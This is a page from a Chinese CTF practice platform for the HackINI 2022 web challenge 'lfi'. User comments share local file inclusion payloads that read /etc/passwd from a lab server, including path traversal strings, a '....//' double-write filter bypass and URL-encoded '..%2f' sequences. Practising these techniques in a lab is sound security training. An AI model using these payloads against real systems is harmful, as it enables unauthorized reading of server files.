lfiWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一  血: tzzzez
一血奖励: 0金币
解  决: 1309
提  示:
描  述:
We made some serious checks now, would you test it ?
评论
15629299376 22天前

这个题目我都没有双写绕过,直接http://49.232.142.230:13545/?language=/etc/passwd就出来了,作者还有待改进

回复 0

starest 1月前

双写绕过,把所有../换成..././即可

回复 0

MoCaser 1月前

我用的url编码 http://49.232.142.230:16456/?language=/..%2f..%2f..%2f..%2fetc/passwd

回复 0

000ooo 4月前

?language=/etc/passwd 有点意外

回复 1

Zhumeng 4月前

根据页面提示输入language 然后 str_replace只替换一次双写绕过通过路径穿越读取/etc/passwd即可读取flag

回复 0

意大利炮 5月前

/?language=/....//....//....//....//etc/passwd

回复 0

小白帽来挖个漏洞 6月前

解析:https://blog.csdn.net/guanrongl/article/details/142967307

回复 0

阿甘先生 6月前

?language=..//etc/passwd

回复 0

jun1223 8月前

?language=/etc/passwd 这也行

回复 3

userxin 8月前

?language=/../../../../../etc/passwd

回复 0

WriteUp

image
a2cai

2 金币

评分(1)

解题动态

ooultron 攻破了该题 3小时前
wakelzf 攻破了该题 4小时前
HF101010 攻破了该题 17小时前
ItzStarsWolf 攻破了该题 17小时前
asuka2001 攻破了该题 1天前
heping 攻破了该题 1天前
wangyihao 攻破了该题 1天前
17794432889 攻破了该题 1天前
DoubleUUU 攻破了该题 2天前
超级小白2025 攻破了该题 2天前
Daiju 攻破了该题 2天前
odup 攻破了该题 3天前
kttsy 攻破了该题 4天前
liuqj 攻破了该题 5天前
Jerrily 攻破了该题 7天前
圣西罗菜鸟 攻破了该题 8天前
Miss23 攻破了该题 8天前
丝丝鲲鹏 攻破了该题 8天前
青菜白玉汤 攻破了该题 8天前
Shury 攻破了该题 8天前
问题反馈